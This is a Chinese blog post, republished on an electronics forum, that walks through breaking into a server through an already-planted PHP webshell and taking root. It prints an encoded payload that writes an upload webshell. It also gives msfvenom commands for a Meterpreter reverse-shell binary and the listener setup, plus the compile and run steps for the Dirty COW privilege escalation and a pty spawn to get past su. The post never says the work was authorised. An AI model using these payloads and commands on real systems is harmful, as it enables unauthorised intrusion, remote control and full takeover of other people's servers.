0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

记脚本小子的一次渗透全过程

jf_Fo0qk3ln 来源:菜鸟学信安 2023-06-14 09:21 次阅读

一.前言

在一次综合渗透的过程中遇到的比较完整的一个渗透流程。很多现查的技巧,这次渗透的基础是基于队友已经在服务器写入了一句话木马但无法执行系统命令。 二.渗透过程 一开始,我想到的是传个大马上去,为了方便,先写入了一个上传马:

?a=fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXeWQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYMlpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZEdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1BHbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h2WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElEMGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDlaV3h6WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h2WVdSbFpDQnpkV05qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh2SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc0aU8zMTlQejQ9)));
4404c354-0a4b-11ee-962d-dac502259ad0.png 利用这个上传马(shell.php)上传了一个比较常用的大马(297.php)。发现无法执行系统命令(无回显):

441f21c2-0a4b-11ee-962d-dac502259ad0.png

查看phpinfo()发现应该是disable_function()的原因。随即使用github上大佬LD_PRELOAD的bypass马:


https://github.com/zhinaonet/bypass_disablefunc_via_LD_PRELOAD 成功执行命令:

4439da1c-0a4b-11ee-962d-dac502259ad0.png

可以执行命令后便想着提权,直接上虚拟机里的kali先用ngrok把虚拟机里的内网穿透出去:

4448f1a0-0a4b-11ee-962d-dac502259ad0.png

启动msf:


msfconsole msfvenom -l payloads msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=ip LPORT=10017 -f elf > shell.elf 生成反弹shell:

44714740-0a4b-11ee-962d-dac502259ad0.png


use exploit/multi/handler set PAYLOAD linux/x64/meterpreter_reverse_tcp set LHOST 192.168.1.170 set LPORT 4444 run 开启监听,同时把生成的elf文件用上传马上传到服务器,用bypass马chmod赋予权限后执行。 即可反弹成功:

44938b8e-0a4b-11ee-962d-dac502259ad0.png

拿到反弹shell后就想着提权,一看内核版本是在脏牛的覆盖范围,就尝试脏牛一把梭。 先去github上下载脏牛的exp源码:


https://github.com/FireFart/dirtycow 上传上去之后执行命令:

gcc -pthread dirty.c -o dirty -lcrypt ./dirty 执行成功! 但在su切换用户的时候出现了幺蛾子:

44bdf7e8-0a4b-11ee-962d-dac502259ad0.png

Standard in must be a tty这种情况我还是头一次遇见。通过查询,发现可以用python绕过它:


python -c 'import pty; pty.spawn("/bin/sh")' su firefart

输入密码,即可提权成功:

4501bdfc-0a4b-11ee-962d-dac502259ad0.png

于此已经拿到了root权限。后渗透阶段由于本人不太熟悉就暂且不提了。

三.总结 这次渗透没有什么特别难的难点,主要是队友把一句话传上去打了个好的基础。作为脚本小子的我也不过是用网上大佬们的工具完成了此次渗透。学艺不精还需要继续和菊苣们学习。

责任编辑:彭菁

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 服务器
    +关注

    关注

    12

    文章

    8120

    浏览量

    82521
  • 渗透
    +关注

    关注

    0

    文章

    19

    浏览量

    6237
  • 脚本
    +关注

    关注

    1

    文章

    372

    浏览量

    14635

原文标题:实战|记脚本小子的一次渗透全过程

文章出处:【微信号:菜鸟学信安,微信公众号:菜鸟学信安】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    笔记本组装全过程图解.pdf

    笔记本组装全过程图解.pdf
    发表于 12-26 21:22

    线性阵列音箱吊装及拆卸全过程

    本帖最后由 eehome 于 2013-1-5 09:58 编辑 线性阵列音箱吊装及拆卸全过程
    发表于 01-22 13:25

    热转印电路板制作全过程

    热转印电路板制作全过程
    发表于 06-24 00:46

    内部资料-开关电源设计要领及设计全过程

    本帖最后由 eehome 于 2013-1-5 09:48 编辑 内部资料-开关电源设计要领及设计全过程.
    发表于 08-03 21:31

    PCB 制作全过程

    `PCB 制作全过程。`
    发表于 08-05 22:43

    音箱制作全过程

    音箱制作全过程
    发表于 08-16 17:00

    有人分享制作蓝牙耳机的全过程吗?

    我想自己制作个蓝牙耳机,但是技术不够,希望有人分享下蓝牙耳机的制作全过程,可以是模块应用,最好是从底层开始制作的,包括软件的编写代码。{:23:}
    发表于 06-02 18:42

    分享个串口实现全过程好资料

    偶然中看到的篇好资料,不敢独享,来给大家分享下,这里有特别详细的串口实现通信的全过程,亲自操作遍,可零基础实现串口通信,希望能帮助到大家!
    发表于 02-05 17:18

    中夏s66e组装全过程

    中夏s66e组装全过程视频、图解?????
    发表于 05-12 11:33

    讲述PCB设计全过程操作

    网上AD教程看似很多,实则零散,详细地讲述PCB设计全过程操作的实用教程并不多,而且大都是旧版本的AD,所以本人写了个详尽的手把手画板教程,内容是目前的流行单片机:stm32的最小系统,新手也能快速上手本教程分为三篇:元件库的建立,原理图的画法,P...
    发表于 08-03 07:40

    CPU制造全过程

    CPU制造全过程第1页:由沙到晶圆,CPU诞生全过程     沙中含有25%的硅,是地壳中第二多元素,在经过氧化之后就成为了二氧化硅,在沙,尤其是石英中二氧
    发表于 09-22 08:08 77次下载

    组装电脑全过程视频教程

    组装电脑全过程视频教程 教你认识电脑主机各种配件及组装接线方法
    发表于 09-14 11:05 466次下载

    手工制作pcb全过程

    手工制作pcb全过程介绍。
    发表于 06-19 10:18 0次下载

    芯片制造全过程

    有人说芯片是人类最高智慧的代表,很多人都无法理解,接下来跟随小编一起了解芯片的制作全过程,看完你就懂了。
    的头像 发表于 12-08 17:42 1.1w次阅读

    电磁炉的维修全过程分享

    电磁炉的维修全过程分享
    发表于 01-10 15:16 75次下载